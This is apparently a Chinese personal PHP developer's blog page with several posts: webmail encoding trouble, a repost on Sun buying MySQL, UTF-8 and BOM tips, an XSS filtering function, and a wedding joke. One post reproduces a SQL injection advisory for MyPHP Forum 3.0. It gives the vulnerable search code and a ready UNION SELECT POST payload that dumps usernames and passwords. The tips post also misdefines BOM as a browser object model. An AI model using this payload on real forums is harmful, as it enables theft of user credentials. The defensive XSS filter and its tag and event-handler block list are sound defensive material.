Recent Posts

 
17Jan

快过年了,大公司都发飙了!!!

今天早上,赶到公司,BOSS说,他在家登陆WEB邮箱看邮件是乱码!经审查,是WEB邮箱提供商设置的编码为GB2312,不是国际通用的UTF-8,而我把邮件内容强制为UTF-8,所以为乱码……但是OUTLOOK接收之后正常,郁闷,鱼于熊掌,不可兼得….希望BOSS能理解!!!!!!

看新闻,发现CNBETA上一条惊人的消息,Mysql被Sun收购了!!
一下是原文:

Sun Microsystems今天早上公布了以8亿美元的现金和2亿美元期权收购开源数据库领导者MySQL AB的计划.
无论是对于Sun还是MySQL,这都是天作之合,MySQL它永远不缺用户,它是LAMP中的“M”,世界上绝大多数Blog和Web2.0程序依赖它运行,对于Sun来说,收购MySQL将让它的创始人著名的“网络就是计算机”言论迈进一大步,通过收购MySQL将有助于增强公司的数据库产品线,例如你可能会更准确地说, “网络加数据库就是计算机” .

Sun微系统称,公司将以8亿美元的现金和MySQL的所有股票,并将MySQL提供价值约2亿美元的期权.Sun微系统称,MySQL的客户已包括了 Google、Facebook以及诺基亚等大公司,通过收购不仅将有助于增强公司的数据库产品线,而且还将增强公司在包括数据库市场的企业IT市场中的地位.通过收购MySQL,将使公司在价值150亿美元的数据库市场实现质的飞跃,并有助于公司同微软、IBM和甲骨文等竞争对手进行抗衡.

Sun已经对开源事业孤注一掷,包括Solaris操作系统,Java和Ultra-Sparc,无一例外,它将成为对开源生态系统的最大贡献者,下一步Sun将会如何吞下并消化利用MySQL,让我们拭目以待.

额,一下茫然了….下一步会咋样? 会不会规定不装SDK就不能装Mysql ???? ,会不会………
转向Orcale ????? 还是 ………..

05Jan

PHP中UTF-8的困扰,还有可恶的BOM..

序言:
前些日子,公司发邮件周刊,部分使用Windows English OS 的人反映,他们Outlook收到的是乱码,才意识到自己使用的是GB2312编码,而非国际ISO标准的UTF-8,马上改进,用Microsoft OS 自带的Notepad 直接另存为UTF-8编码,然后PHPMailer 测试发送给自己! 我靠,NND,什么东西,超级乱码,以为自己在PHPMailer里的编码设置错了,立刻检查!发现没错,多次更改测试,还是不可以! 怀疑编辑器有问题,立刻更换更强悍的UltraEdit,果然, 是Notepad另存为的时候,自动生成了BOM码在里面,我靠………. …………..

今天,在喜悦村(www.phpx.com)闲逛,看到一位仁兄的帖子,谈到了PHP中UTF-8的问题,哈,正好拿来复习复习,多谢这位仁兄了啊!以下是部分内容!


导言:

  • 什么是UTF-8
  • UNICODE,GBK,UTF-8区别
  • 什么是BOM
  • 关于UTF-8
    UTF-8是unicode编码的扩展(也可以说是子集:Unicode Translation Format),由Ken Thompson于 1992年创建,只要将某个字符的unicode编码一一插入相应的空位(刚好有16个空位)就可以成为一个UTF-8编码! 详情见(http://hi.baidu.com/itezone/blog/item/8d9ca35200c18b0c0df3e336.html)

    关于 BOM (浏览器对象模型(Brower Object Model))
    这里有,我不敖述了!http://baike.baidu.com/view/126558.htm

    UNICODE,GBK,UTF-8区别
    http://www.phpchina.com/42113/viewspace_16547.html
    言规正传
    1、编辑器:
    不要使用任何微软的编辑器,什么Frontpage,Web Designer,记事本,写字板什么的,能丢的全部丢开,因为这些编辑器会在你的UTF-8文档前面产生BOM,关于BOM的具体说明,可以在 这里 找到,当初我直接拿记事本转UTF-8覆盖原文件,造成………….,至今记忆犹新。
    2、MySQL数据库:
    注意建库,建表,建字段(注意有三处)的时候,都要选用utf8_general_ci的整理格式(Collation),在PHP使用mysql_connect()函数连接数据之后,需要加上一句:
    mysql_query(’set names “utf8″‘);
    3、PHP:
    使用mbstring库,不要使用iconv库。
    使用preg而不要使用ereg来处理字符。
    使用htmlentities()函数,html_entity_decode()函数的时候要带上第三个参数:

    1. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    2. <?php
    3. $str = "<a href='test'>中文</a>";
    4. echo htmlentities($str,ENT_COMPAT,"UTF-8"); //显示(源代码里面) <a href='test'>涓枃</a>
    5. echo html_entity_decode(htmlentities($str,ENT_COMPAT,"UTF-8"),ENT_COMPAT,"UTF-8"); // 显示(源代码里面) <a href='test'>中文</a>
    6. ?>

    这里再给出一个匹配UTF-8中文字符的正则表达式:

    1. <meta http-equiv="Content-Type" Content="text/html; charset=utf-8">
    2. <?php
    3. $word = "中文";
    4. if (preg_match("/^([".chr(228)."-".chr(233)."]{1}[".chr(128)."-".chr(191)."]{1}[".chr(128)."-".chr(191)."]{1}){1}/",$word) == true || preg_match("/([".chr(228)."-".chr(233)."]{1}[".chr(128)."-".chr(191)."]{1}[".chr(128)."-".chr(191)."]{1}){1}$/",$word) == true || preg_match("/([".chr(228)."-".chr(233)."]{1}[".chr(128)."-".chr(191)."]{1}[".chr(128)."-".chr(191)."]{1}){2,}/",$word) == true)
    5. {
    6. echo "很好,这是一个UTF-8编码的汉字";
    7. }
    8. else
    9. {
    10. echo "抱歉,这不是一个UTF-8编码的汉字";
    11. }
    12. ?>

    4、HTML:在标签对里面加上

    1. <meta http-equiv="Content-Type" Content="text/html;charset=utf-8" />

    5、JS:JS的问题比较复杂,如果直接将文件存为UTF-8的编码,那么当用户在直接用浏览器访问这个页面的时候(也许某些程序员会这么做),浏览器可能会使用其它的编码去读取这个文件而造成其中的UTF-8中文乱码,当然,这并不会影响到程序的运行。在加载JS的时候,可以说明一下载入JS的编码,当然,如果已经在HTML头里面声明了编码,这里就不是必须的了:

    JS要注意的另一个问题是他的escape()函数,在ECMAScript v3中,escape( ) 会被剔除,建议使用encodeURI( )和encodeURIComponent( )。这可以帮助你远离escape()函数引起的乱码问题。
    6、CSS:在CSS文件的头部加上这行代码:
    @charset “UTF-8″;

    7、URL:为了让URL变得更为友好,许多PHP程序员喜欢让URL显示文字而不是URL编码,目前较为合理的解决方案是将GET方法发送的数据转为GBK编码,然后再接受这些数据,如果你希望使用UTF-8直接友好的GET数据,你会在使用PHP的$_GET数组时遇到一些问题。
    8、Email:使用UTF-8编码的字符发送邮件,也是一件让人头疼的事情,理想的方法是将编码转变为GBK,然后再发送。
    9、Ajax:使用POST的方式发送数据,不要使用GET的方式,不然无法成功发送部分UTF-8中文字符。

    04Jan

    MyPHP Forum <= 3.0 (Final) 远程SQL注射攻击

    MyPHP Forum v3.0 (Final) And Maybe Lower Multiple Sql Injection Vulnerabilities (Mq=Off/On)

    Related Codes: search.php; line 14:

    1. if($_POST['submit']) {
    2.     $searchtext = $_POST['searchtext'];
    3.     $searchuser = $_POST['searchuser'];
    4.  
    5.     if(!strstr($searchtext, '"')) {
    6.         $keywords = explode(" ", $searchtext);
    7.         for($i = 0; $i < count($keywords); $i++) {
    8.             if($sqladdon != "") {
    9.                 $sqladdon .= " AND p.message LIKE '%$keywords[$i]%'";
    10.             } else {
    11.                 $sqladdon .= "p.message LIKE '%$keywords[$i]%'";
    12.             }
    13.         }
    14.     } else {
    15.         $phrase = trim(stripslashes(strstr($searchtext, '"')));
    16.         $quotesarr = explode('"', $phrase);
    17.         $quotes = count($quotesarr);
    18.         $phrasecount = $quotes - (count(explode('" "', $phrase)) + 1);
    19.  
    20.         for($i = 0; $i < $quotes; $i++) {
    21.             if($i != 0 && $i != $quotes - 1) {
    22.                 if($phraseoff != "yes") {
    23.                     $phraselist .= "$quotesarr[$i]|";
    24.                     $phraseoff = "yes";
    25.                 } else {
    26.                     $phraseoff = "no";
    27.                 }
    28.             }
    29.         }
    30.  
    31.         $phrasearr = explode("|", $phraselist);
    32.         $phrases = count($phrasearr) - 1;
    33.  
    34.         for($i = 0; $i < $phrases; $i++) {
    35.             if($sqladdon != "") {
    36.                 $sqladdon .= " AND p.message LIKE '%$phrasearr[$i]%'";
    37.             } else {
    38.                 $sqladdon .= "p.message LIKE '%$phrasearr[$i]%'";
    39.             }
    40.         }
    41.        
    42.         $newsearchtxt = trim(str_replace("$phrase", "", stripslashes($searchtext)));
    43.  
    44.         if($newsearchtxt != "") {
    45.             $keywords = explode(" ", $newsearchtxt);
    46.         }
    47.  
    48.         for($i = 0; $i < count($keywords); $i++) {
    49.             if($sqladdon != "") {
    50.                 $sqladdon .= " AND p.message LIKE '%$keywords[$i]%'";
    51.             } else {
    52.                 $sqladdon .= "p.message LIKE '%$keywords[$i]%'";
    53.             }
    54.         }
    55.     }
    56.  
    57.     if($searchuser != "") {
    58.         if($sqladdon != "") {
    59.                 $sqladdon .= " AND p.author LIKE '%$searchuser%'";
    60.             } else {
    61.                 $sqladdon .= "p.author LIKE '%$searchuser%'";
    62.             }
    63.     }
    64.  
    65.     if($sqladdon != "" ) {
    66.         search_header();
    67.         $ttnum = 1;        // Now the Vulnerable Query =)
    68.         $query = mysql_query("SELECT t.*, f.name AS forum FROM $db_post p, $db_topic t, $db_forum f WHERE $sqladdon AND t.tid=p.tid AND f.fid=t.fid") or die(mysql_error());
    69.        
    70. """
    71. ?>

    POST

    1. submit=Search&searchtext=%'/**/UNION/**/SELECT/**/0,0,0,concat('<BR/><h3>-=ParadoxGotThisOne=-</h3><BR/><h4>Username:',username,'<BR/>Password:',password,'</h4>'),0,0,0,0,0,0/**/FROM/**/[Prefix]_member/**/WHERE/**/uid=[Id]/*"
    2. ?>

    注意:最后一个”双引号必须带着!
    适用版本:MyPHP Forum v3.0

    04Jan

    PHP和XSS跨站攻击(老话题了)

    国内不少论坛都存在跨站脚本漏洞,例如这里 有一个Google Hack+XSS的攻击例子,针对的是Discuz 4.0.0RC3。国外也很多这样的例子,甚至Google也出现过,不过在12月初时修正了。跨站攻击很容易就可以构造,而且非常隐蔽,不易被查觉(通常盗取信息后马上跳转回原页面)。
    如何攻击,在此不作说明(也不要问我),主要谈谈如何防范。首先,跨站脚本攻击都是由于对用户的输入没有进行严格的过滤造成的,所以我们必须在所有数据进入我们的网站和数据库之前把可能的危险拦截。针对非法的HTML代码包括单双引号等,可以使用htmlentities() 。
    1. <?php
    2. $str = "A 'quote' is <b>bold</b>";
    3.  
    4. // Outputs: A 'quote' is <b>bold</b>
    5. echo htmlentities($str);
    6.  
    7. // Outputs: A &#039;quote&#039; is <b>bold</b>
    8. echo htmlentities($str, ENT_QUOTES);
    9. ?>
    这样可以使非法的脚本失效。

    但是要注意一点,htmlentities()默认编码为 ISO-8859-1,如果你的非法脚本编码为其它,那么可能无法过滤掉,同时浏览器却可以识别和执行。这个问题我先找几个站点测试后再说。

    这里提供一个过滤非法脚本的函数:

    1. <?
    2. function RemoveXSS($val) { 
    3.    // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
    4.    // this prevents some character re-spacing such as <java\0script>
    5.    // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
    6.    $val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);
    7.    
    8.    // straight replacements, the user should never need these since they're normal characters
    9.    // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
    10.    $search = 'abcdefghijklmnopqrstuvwxyz';
    11.    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    12.    $search .= '1234567890!@#$%^&*()';
    13.    $search .= '~`";:?+/={}[]-_|\'\\';
    14.    for ($i = 0; $i < strlen($search); $i++) { 
    15.       // ;? matches the ;, which is optional
    16.       // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
    17.    
    18.       // &#x0040 @ search for the hex values
    19.       $val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
    20.       // &#00064 @ 0{0,7} matches '0' zero to seven times
    21.       $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
    22.    } 
    23.    
    24.    // now the only remaining whitespace attacks are \t, \n, and \r
    25.    $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
    26.    $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
    27.    $ra = array_merge($ra1, $ra2);
    28.    
    29.    $found = true; // keep replacing as long as the previous round replaced something
    30.    while ($found == true) { 
    31.       $val_before = $val;
    32.       for ($i = 0; $i < sizeof($ra); $i++) { 
    33.          $pattern = '/';
    34.          for ($j = 0; $j < strlen($ra[$i]); $j++) { 
    35.             if ($j > 0) { 
    36.                $pattern .= '(';
    37.                $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
    38.                $pattern .= '|(&#0{0,8}([9][10][13]);?)?';
    39.                $pattern .= ')?';
    40.             } 
    41.             $pattern .= $ra[$i][$j];
    42.          } 
    43.          $pattern .= '/i';
    44.          $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
    45.          $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
    46.          if ($val_before == $val) { 
    47.             // no replacements were made, so exit the loop
    48.             $found = false;
    49.          } 
    50.       } 
    51.    } 
    52. }
    53. ?>
    04Jan

    恭喜Hello_World(SCY)新婚快乐!

    各位来宾、各位贵客、邻里乡亲:

    天高任鸟飞,海阔凭鱼跃,在这大有作为的天地里,到处机声隆隆,人欢马跃;稻花飘香,蛙鸣鸟啼,瓜棚传佳话,麦地蝈蝈叫,场院滚金豆,粮囤比山高!
    无农不稳,无工不富,无商不活,改革开放带来活力。市场经济生机勃勃,发展乡镇企业,经巨龙充氧输血。喜看稻菽千重浪,欢声笑语满心窝!

    在希望的田野上,在山花烂漫的季节里,在美好的夏天,在这浓香弥漫农家,我宣布沈小雨(SCY)与丁小红[化名]的婚礼现在开始!(奏乐、鸣鞭炮)……………..

    天作之合 心心相印 永结同心 相亲相爱 百年好合 永浴爱河 佳偶天成 宜室宜家 白头偕老
    百年琴瑟 许订终身 花好月圆 福禄鸳鸯 天缘巧合 美满良缘 郎才女貌 瓜瓞延绵 情投意合
    夫唱妇随 珠联壁合 凤凰于飞 美满家园 琴瑟合鸣 相敬如宾 同德同心 如鼓琴瑟 花开并蒂
    缔结良缘 缘订三生 成家之始 鸳鸯壁合 文定吉祥 姻缘相配 白首成约 终身之盟 盟结良缘

    喜鹊报喜鸳鸯壁合永浴爱河喜